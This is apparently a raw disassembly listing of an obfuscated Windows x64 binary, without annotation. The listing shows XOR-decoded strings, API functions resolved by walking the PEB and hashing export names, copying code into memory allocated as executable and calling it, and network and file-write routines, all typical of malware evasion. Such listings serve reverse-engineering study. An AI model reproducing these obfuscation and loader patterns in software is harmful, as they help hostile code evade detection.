mov byte [rbp - 0x74], al
movzx eax, byte [rbx + 0xd]
mov byte [rbp - 0x73], al
movzx eax, byte [rbx + 0xe]
mov byte [rbp - 0x72], al
movzx eax, byte [rbx + 0xf]
mov byte [rbp - 0x71], al
jmp 0x1400622e2
mov rdi, rsi
or rdi, 0xf
cmp rdi, rax
jbe 0x14006228c
mov rdi, rax
jmp 0x140062299
cmp rdi, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rax
lea rdx, [rdi + 1]
lea rcx, [rbp - 0x80]
call fcn.140054b80
mov rcx, rax
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], rdi
lea rdx, [rsi + 1]
test rdx, rdx
je 0x1400622e0
sub rbx, rax
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbx + rcx]
mov byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x1400622d0
xor edi, edi
lea rcx, [rbp - 0x80]
call fcn.1400602d0
mov qword [rbp + 0x60], rax
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x2a8]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rbp + 0x2a8]
movaps xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [rbp + 0x2b8]
movaps xmmword [rbp + 0xc0], xmm1
mov eax, dword [rbp + 0x2c8]
mov dword [rbp + 0xd0], eax
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x9d0]
call fcn.1400603b0
mov rbx, rax
cmp r12, rax
je 0x1400623a8
mov rdx, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, 0x10
jb 0x140062384
inc rdx
mov rcx, qword [0x140149418]
cmp rdx, 0x1000
jb 0x14006237f
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14006265b
mov rcx, r8
call fcn.1400c844c
mov qword [0x140149428], rdi
mov qword [reloc.WS2_32.dll_ntohs], 0xf
mov byte [0x140149418], 0
mov rdx, rbx
mov rcx, r12
call fcn.140052e30
mov rdx, qword [rbp + 0x9e8]
cmp rdx, 0x10
jb 0x1400623e9
inc rdx
mov rcx, qword [rbp + 0x9d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400623e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006265b
call fcn.1400c844c
mov qword [rbp + 0x9e0], rdi
mov qword [rbp + 0x9e8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x9d0], 0
mov rdx, qword [rbp + 0x9c8]
cmp rdx, 0x10
jb 0x140062443
inc rdx
mov rcx, qword [rbp + 0x9b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006243e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140062662
call fcn.1400c844c
mov qword [rbp + 0x9c0], rdi
mov qword [rbp + 0x9c8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x9b0], 0
mov rdx, qword [rbp + 0x9a8]
cmp rdx, 0x10
jb 0x14006249d
inc rdx
mov rcx, qword [rbp + 0x990]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140062498
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140062662
call fcn.1400c844c
mov qword [rbp + 0x9a0], rdi
mov qword [rbp + 0x9a8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x990], 0
inc r14d
mov rcx, qword [0x14014a5f8]
mov rax, rcx
mov rdx, qword [0x14014a5f0]
sub rax, rdx
sar rax, 6
movsxd rbx, r14d
cmp rbx, rax
jb 0x140062180
movabs r12, 0x7fffffffffffffff
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae r15, qword [0x1401493d8]
mov r8, qword [0x1401493e8]
mov rdx, r15
lea rbx, [0x14014a750]
mov rcx, rbx
call fcn.140054de0
mov byte [rbp + 0x850], 0x53
mov al, reloc.WLDAP32.dll_Ordinal_32
mov cl, 0x36
mov dl, reloc.WLDAP32.dll_Ordinal_33
mov r8b, Ordinal_60
mov r9b, reloc.WLDAP32.dll_Ordinal_50
mov r10b, 0x3f
xor r11d, r11d
xor al, 0x53
mov byte [rbp + 0x851], al
xor cl, 0x53
mov byte [rbp + 0x852], cl
xor dl, 0x53
mov byte [rbp + 0x853], dl
xor r8b, 0x53
mov byte [rbp + 0x854], r8b
xor r9b, 0x53
mov byte [rbp + 0x855], r9b
xor r10b, 0x53
mov byte [rbp + 0x856], r10b
mov byte [rbp + 0x857], r11b
cmp qword [0x14014a768], 0x10
cmovae rbx, qword [0x14014a750]
mov byte [rsp + 0x74], 2
mov al, 0x27
mov cl, 0x71
xor edx, edx
xor al, 2
mov byte [rsp + 0x75], al
xor cl, 2
mov byte [rsp + 0x76], cl
mov byte [rsp + 0x77], dl
mov r8, rbx
lea rdx, [rsp + 0x75]
lea rcx, [rbp + 0xbc0]
call fcn.140060290
lea rsi, [0x14014a770]
cmp qword [0x14014a788], 0x10
cmovae rsi, qword [0x14014a770]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140062656
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140062656
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0xe36a71fc
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140062651
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140062630
cmp r8d, 0x17f7d90d
je 0x140062669
test r9d, r9d
jne 0x140062610
mov rax, qword [rax]
jmp 0x1400625e0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea r9, [0x140149f40]
lea r8, [rbp + 0xbc0]
mov rdx, rsi
lea rcx, [rbp + 0x851]
call r10
nop
mov rdx, qword [rbp + 0x940]
cmp rdx, 0x10
jb 0x1400626e1
inc rdx
mov rcx, qword [rbp + 0x928]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400626dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400626dc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c844c
movdqa xmm0, xmmword [0x1400d9010]
movdqu xmmword [rbp + 0x938], xmm0
mov byte [rbp + 0x928], 0
movdqa xmm1, xmmword [str.tH_JT]
movdqu xmmword [rbp + 0x6a0], xmm1
mov r8b, 7
mov r9b, Ordinal_30
mov r10b, reloc.WLDAP32.dll_Ordinal_27
mov r11b, reloc.WLDAP32.dll_Ordinal_26
mov bl, 0x5a
movzx edi, bl
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rbp + 0x6a1], al
xor byte [rbp + 0x6a2], dl
xor byte [rbp + 0x6a3], dl
xor byte [rbp + 0x6a4], dl
xor byte [rbp + 0x6a5], dl
xor byte [rbp + 0x6a6], dl
xor byte [rbp + 0x6a7], dl
xor byte [rbp + 0x6a8], dl
xor byte [rbp + 0x6a9], dl
xor byte [rbp + 0x6aa], dl
xor byte [rbp + 0x6ab], dl
xor byte [rbp + 0x6ac], dl
xor byte [rbp + 0x6ad], dl
xor byte [rbp + 0x6ae], dl
xor byte [rbp + 0x6af], dl
xor r8b, dl
mov byte [rbp + 0x6b0], r8b
xor r9b, dl
mov byte [rbp + 0x6b1], r9b
xor r10b, dl
mov byte [rbp + 0x6b2], r10b
xor r11b, dl
mov byte [rbp + 0x6b3], r11b
xor bl, dl
mov byte [rbp + 0x6b4], bl
xor dil, dl
mov byte [rbp + 0x6b5], dil
mov byte [rbp + 0x6b6], 0
lea rdx, [rbp + 0x6a1]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14004b350
lea rdx, [0x14004d610]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call sub.MSVCP140.dll__Query_perf_frequency
mov rbx, rax
call sub.MSVCP140.dll__Query_perf_counter
cmp rbx, 0x989680
jne 0x140062806
imul rax, rax, 0x64
jmp 0x140062821
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
movabs rcx, 0x7fffffffc46535ff
cmp rax, rcx
jge 0x14006283c
add rax, 0x3b9aca00
mov qword [rbp - 0x40], rax
jmp 0x140062840
mov qword [rbp - 0x40], r12
lea rcx, [rbp - 0x40]
call fcn.14004dea0
call fcn.140057020
test al, al
jne 0x140062b50
movdqa xmm1, xmmword [0x1400d9410]
movdqu xmmword [rbp + 0x648], xmm1
movdqa xmm2, xmmword [0x1400d9170]
movdqu xmmword [rbp + 0x658], xmm2
mov r8b, Ordinal_79
mov r9b, 0x5b
mov r10b, 0x4a
mov r11b, 0x4b
mov bl, Ordinal_79
mov dil, Ordinal_33
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rbp + 0x649], al
xor byte [rbp + 0x64a], dl
xor byte [rbp + 0x64b], dl
xor byte [rbp + 0x64c], dl
xor byte [rbp + 0x64d], dl
xor byte [rbp + 0x64e], dl
xor byte [rbp + 0x64f], dl
xor byte [rbp + 0x650], dl
xor byte [rbp + 0x651], dl
xor byte [rbp + 0x652], dl
xor byte [rbp + 0x653], dl
xor byte [rbp + 0x654], dl
xor byte [rbp + 0x655], dl
xor byte [rbp + 0x656], dl
xor byte [rbp + 0x657], dl
movd eax, xmm2
xor al, dl
mov byte [rbp + 0x658], al
xor byte [rbp + 0x659], dl
xor byte [rbp + 0x65a], dl
xor byte [rbp + 0x65b], dl
xor byte [rbp + 0x65c], dl
xor byte [rbp + 0x65d], dl
xor byte [rbp + 0x65e], dl
xor byte [rbp + 0x65f], dl
xor byte [rbp + 0x660], dl
xor byte [rbp + 0x661], dl
xor byte [rbp + 0x662], dl
xor byte [rbp + 0x663], dl
xor byte [rbp + 0x664], dl
xor byte [rbp + 0x665], dl
xor byte [rbp + 0x666], dl
xor byte [rbp + 0x667], dl
xor r8b, dl
mov byte [rbp + 0x668], r8b
xor r9b, dl
mov byte [rbp + 0x669], r9b
xor r10b, dl
mov byte [rbp + 0x66a], r10b
xor r11b, dl
mov byte [rbp + 0x66b], r11b
xor bl, dl
mov byte [rbp + 0x66c], bl
xor dil, dl
mov byte [rbp + 0x66d], dil
mov byte [rbp + 0x66e], 0
lea rdx, [rbp + 0x649]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14004b350
lea rdx, [0x14004d610]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x50], 0x7d0
lea rcx, [rsp + 0x50]
call fcn.14004de00
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov dword [rbp - 0x54], 1
lea rsi, [rbp + 0xc18]
movabs r15, 0xff00ff00ff00ff00
mov qword [rbp + 0x260], r15
mov qword [rbp + 0x268], rsi
mov rdi, qword [rsi]
xor rdi, r15
mov qword [rbp + 0x258], rdi
mov qword [rsi], 0
xor ecx, ecx
mov rax, qword [0x14014cb70]
lea r14, [0x14004ba50]
test rax, rax
je 0x140062a59
xor edx, edx
nop dword [rax]
cmp rax, r14
je 0x140062a48
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x14cb70]
test rax, rax
jne 0x140062a30
jmp 0x140062a59
mov r8, qword [r13 + rdx*8 + 0x14ce90]
test r8, r8
jne 0x140062b3f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x140062b1e
mov rax, r14
mov rcx, r8
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140062a90
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014cb60]
mov qword [r13 + rax*8 + 0x14cb70], r14
mov qword [r13 + rax*8 + 0x14ce90], r8
inc rax
mov qword [0x14014cb60], rax
lea rdx, [rbp - 0x54]
mov rcx, rbx
call r8
nop
xor rdi, r15
mov qword [rsi], rdi
call fcn.140059d00
mov byte [0x140149f32], al
xor r12d, r12d
test al, al
jne 0x140063dff
mov byte [rbp + 0x8a8], WSAGetLastError
mov al, 0x2b
mov cl, reloc.WLDAP32.dll_Ordinal_26
mov dl, reloc.WS2_32.dll_ntohs
mov r8b, reloc.WS2_32.dll_select
mov r9b, 0x4a
mov r10b, 0x26
movzx r11d, dl
mov bl, reloc.WS2_32.dll_listen
movzx edi, dl
mov sil, 4
mov r14b, reloc.WS2_32.dll_ntohl
mov r15b, Ordinal_26
xor al, 0x6a
mov byte [rbp + 0x8a9], al
xor cl, 0x6a
mov byte [rbp + 0x8aa], cl
xor dl, 0x6a
mov byte [rbp + 0x8ab], dl
xor r8b, 0x6a
mov byte [rbp + 0x8ac], r8b
xor r9b, 0x6a
mov byte [rbp + 0x8ad], r9b
xor r10b, 0x6a
mov byte [rbp + 0x8ae], r10b
xor r11b, 0x6a
mov byte [rbp + 0x8af], r11b
xor bl, 0x6a
mov byte [rbp + 0x8b0], bl
xor dil, 0x6a
mov byte [rbp + 0x8b1], dil
xor sil, 0x6a
mov byte [rbp + 0x8b2], sil
xor r14b, 0x6a
mov byte [rbp + 0x8b3], r14b
xor r15b, 0x6a
mov byte [rbp + 0x8b4], r15b
mov byte [rbp + 0x8b5], r12b
mov byte [rbp + 0x888], 0x45
mov al, reloc.WS2_32.dll_socket
mov cl, reloc.WLDAP32.dll_Ordinal_32
mov dl, 0x36
mov r8b, 0x35
mov r9b, 0x24
mov r10b, reloc.WLDAP32.dll_Ordinal_50
mov r11b, Ordinal_45
mov bl, 0x75
movzx edi, bl
mov sil, reloc.WS2_32.dll_WSACleanup
xor al, 0x45
mov byte [rbp + 0x889], al
xor cl, 0x45
mov byte [rbp + 0x88a], cl
xor dl, 0x45
mov byte [rbp + 0x88b], dl
xor r8b, 0x45
mov byte [rbp + 0x88c], r8b
xor r9b, 0x45
mov byte [rbp + 0x88d], r9b
xor r10b, 0x45
mov byte [rbp + 0x88e], r10b
xor r11b, 0x45
mov byte [rbp + 0x88f], r11b
xor bl, 0x45
mov byte [rbp + 0x890], bl
xor dil, 0x45
mov byte [rbp + 0x891], dil
xor sil, 0x45
mov byte [rbp + 0x892], sil
mov byte [rbp + 0x893], r12b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140062d26
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140062d26
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xa7256ac8
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140062d21
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140062d00
cmp r8d, 0x68e0b8e
je 0x140062d2b
test r9d, r9d
jne 0x140062ce0
mov rax, qword [rax]
jmp 0x140062cb0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
lea rdx, [rbp + 0x8a9]
lea rcx, [rbp + 0x889]
call r8
test rax, rax
je 0x140063055
movdqa xmm1, xmmword [str.uITKU]
movdqu xmmword [rbp + 0x7d0], xmm1
mov cl, 6
mov dl, reloc.WS2_32.dll_recv
mov r8b, 0x55
mov r9b, reloc.WS2_32.dll_select
mov r10b, reloc.WS2_32.dll_sendto
mov bl, 0x18
movzx edi, dl
movzx esi, r8b
mov r14b, reloc.WS2_32.dll_send
mov r15b, Ordinal_30
mov r12b, 7
movzx r13d, cl
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r11d, xmm1
xor al, r11b
mov byte [rbp + 0x7d1], al
xor byte [rbp + 0x7d2], r11b
xor byte [rbp + 0x7d3], r11b
xor byte [rbp + 0x7d4], r11b
xor byte [rbp + 0x7d5], r11b
xor byte [rbp + 0x7d6], r11b
xor byte [rbp + 0x7d7], r11b
xor byte [rbp + 0x7d8], r11b
xor byte [rbp + 0x7d9], r11b
xor byte [rbp + 0x7da], r11b
xor byte [rbp + 0x7db], r11b
xor byte [rbp + 0x7dc], r11b
xor byte [rbp + 0x7dd], r11b
xor byte [rbp + 0x7de], r11b
xor byte [rbp + 0x7df], r11b
xor cl, r11b
mov byte [rbp + 0x7e0], cl
xor dl, r11b
mov byte [rbp + 0x7e1], dl
xor r8b, r11b
mov byte [rbp + 0x7e2], r8b
xor r9b, r11b
mov byte [rbp + 0x7e3], r9b
xor r10b, r11b
mov byte [rbp + 0x7e4], r10b
xor bl, r11b
mov byte [rbp + 0x7e5], bl
xor dil, r11b
mov byte [rbp + 0x7e6], dil
xor sil, r11b
mov byte [rbp + 0x7e7], sil
xor r14b, r11b
mov byte [rbp + 0x7e8], r14b
xor r15b, r11b
mov byte [rbp + 0x7e9], r15b
xor r12b, r11b
mov byte [rbp + 0x7ea], r12b
xor r13b, r11b
mov byte [rbp + 0x7eb], r13b
mov al, 1
xor al, r11b
mov byte [rbp + 0x7ec], al
mov al, 0x54
xor al, r11b
mov byte [rbp + 0x7ed], al
mov byte [rbp + 0x7ee], 0
lea rdx, [rbp + 0x7d1]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14004b350
lea rdx, [0x14004d610]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x50], 0x7d0
lea rcx, [rsp + 0x50]
call fcn.14004de00
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov dword [rbp - 0x50], 1
lea rsi, [rbp + 0xc18]
movabs r15, 0xff00ff00ff00ff00
mov qword [rbp + 0x38], r15
mov qword [rbp + 0x40], rsi
mov rdi, qword [rsi]
xor rdi, r15
mov qword [rbp + 0x30], rdi
xor r12d, r12d
mov qword [rsi], r12
mov ecx, r12d
mov rax, qword [0x14014cb70]
lea r13, [0x140000000]
lea r14, [0x14004ba50]
test rax, rax
je 0x140062f59
mov edx, r12d
nop dword [rax]
cmp rax, r14
je 0x140062f48
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x14cb70]
test rax, rax
jne 0x140062f30
jmp 0x140062f59
mov r8, qword [r13 + rdx*8 + 0x14ce90]
test r8, r8
jne 0x14006303f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140062f80
mov r8, r12
jmp 0x14006301e
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140062f90
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014cb60]
mov qword [r13 + rax*8 + 0x14cb70], r14
mov qword [r13 + rax*8 + 0x14ce90], r8
inc rax
mov qword [0x14014cb60], rax
lea rdx, [rbp - 0x50]
mov rcx, rbx
call r8
nop
xor rdi, r15
mov qword [rsi], rdi
jmp 0x140063e09
mov byte [rbp + 0x848], 0x7e
mov al, 0x46
mov cl, 0x48
movzx edx, al
mov r8b, Ordinal_79
mov r9b, 0x49
mov r10b, Ordinal_79
xor r11d, r11d
xor al, 0x7e
mov byte [rbp + 0x849], al
xor cl, 0x7e
mov byte [rbp + 0x84a], cl
xor dl, 0x7e
mov byte [rbp + 0x84b], dl
xor r8b, 0x7e
mov byte [rbp + 0x84c], r8b
xor r9b, 0x7e
mov byte [rbp + 0x84d], r9b
xor r10b, 0x7e
mov byte [rbp + 0x84e], r10b
mov byte [rbp + 0x84f], r11b
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
mov qword [rbp + 0x110], r12
mov qword [rbp + 0x118], r12
lea rax, [rbp + 0x849]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r11b
jne 0x1400630d7
lea rdx, [rbp + 0x849]
lea rcx, [rbp + 0x100]
call fcn.14004bc10
lea r8, [rbp + 0x100]
lea rdx, [rbp + 0x120]
lea rcx, [0x14014a410]
call fcn.14006f440
nop
mov byte [rbp + 0x7f0], 0x59
mov al, 0x77
mov cl, 0x2a
mov dl, reloc.WLDAP32.dll_Ordinal_32
movzx r8d, cl
xor r9d, r9d
xor al, 0x59
mov byte [rbp + 0x7f1], al
xor cl, 0x59
mov byte [rbp + 0x7f2], cl
xor dl, 0x59
mov byte [rbp + 0x7f3], dl
xor r8b, 0x59
mov byte [rbp + 0x7f4], r8b
mov byte [rbp + 0x7f5], r9b
lea edx, [r9 + 8]
lea rcx, [rbp + 0xa30]
call fcn.1400584d0
nop
mov byte [rbp + 0x858], 0x65
mov cl, 0x26
mov dl, 0x5f
mov r8b, reloc.WS2_32.dll_gethostname
mov r9b, Ordinal_50
mov r10b, reloc.WLDAP32.dll_Ordinal_22
xor r11b, r11b
mov bl, reloc.WS2_32.dll_socket
movzx edi, r10b
movzx esi, r8b
xor r14d, r14d
xor cl, 0x65
mov byte [rbp + 0x859], cl
xor dl, 0x65
mov byte [rbp + 0x85a], dl
xor r8b, 0x65
mov byte [rbp + 0x85b], r8b
xor r9b, 0x65
mov byte [rbp + 0x85c], r9b
xor r10b, 0x65
mov byte [rbp + 0x85d], r10b
xor r11b, 0x65
mov byte [rbp + 0x85e], r11b
xor bl, 0x65
mov byte [rbp + 0x85f], bl
xor dil, 0x65
mov byte [rbp + 0x860], dil
xor sil, 0x65
mov byte [rbp + 0x861], sil
mov byte [rbp + 0x862], r14b
mov r8, rax
lea rdx, [rbp + 0x859]
lea rcx, [rbp + 0xa10]
call fcn.14004b5b0
nop
lea rcx, [rbp + 0x7f1]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop
inc r8
cmp byte [rcx + r8], 0
jne 0x140063210
lea rdx, [rbp + 0x7f1]
mov rcx, rax
call fcn.140054cc0
xorps xmm0, xmm0
movups xmmword [rbp + 0x968], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x978], xmm1
mov rdx, rax
lea rcx, [rbp + 0x968]
call fcn.140052e30
nop
lea rcx, [rbp + 0xa10]
call fcn.14004f4c0
nop
lea rcx, [rbp + 0xa30]
call fcn.14004f4c0
lea rdx, [rbp + 0x968]
cmp qword [rbp + 0x980], 0x10
cmovae rdx, qword [rbp + 0x968]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x1e]
lea rcx, [rbp + 0x400]
call fcn.14004e190
mov rax, qword [rbp + 0x400]
movsxd rcx, dword [rax + 4]
lea r15, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x400], r15
mov rax, qword [rbp + 0x400]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x3fc], edx
mov r8, qword [rbp + 0x128]
mov rdx, qword [rbp + 0x120]
sub r8, rdx
lea rcx, [rbp + 0x400]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x408]
call fcn.140055e50
test rax, rax
jne 0x140063320
mov rax, qword [rbp + 0x400]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x400]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp + 0x400]
call fcn.140051d90
mov byte [rbp + 0x840], 0x57
mov al, 0x66
mov cl, 0x65
movzx edx, al
mov r8b, 0x61
mov r9b, 0x64
mov r10b, WSAGetLastError
xor r11d, r11d
xor al, 0x57
mov byte [rbp + 0x841], al
xor cl, 0x57
mov byte [rbp + 0x842], cl
xor dl, 0x57
mov byte [rbp + 0x843], dl
xor r8b, 0x57
mov byte [rbp + 0x844], r8b
xor r9b, 0x57
mov byte [rbp + 0x845], r9b
xor r10b, 0x57
mov byte [rbp + 0x846], r10b
mov byte [rbp + 0x847], r11b
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], r12
mov qword [rbp + 0xf8], r12
lea rax, [rbp + 0x841]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r11b
jne 0x1400633b0
lea rdx, [rbp + 0x841]
lea rcx, [rbp + 0xe0]
call fcn.14004bc10
lea r8, [rbp + 0xe0]
lea rdx, [rbp + 8]
lea rcx, [0x14014a410]
call fcn.14006f440
nop
mov byte [rbp + 0x7f8], 0x7a
mov al, 0x54
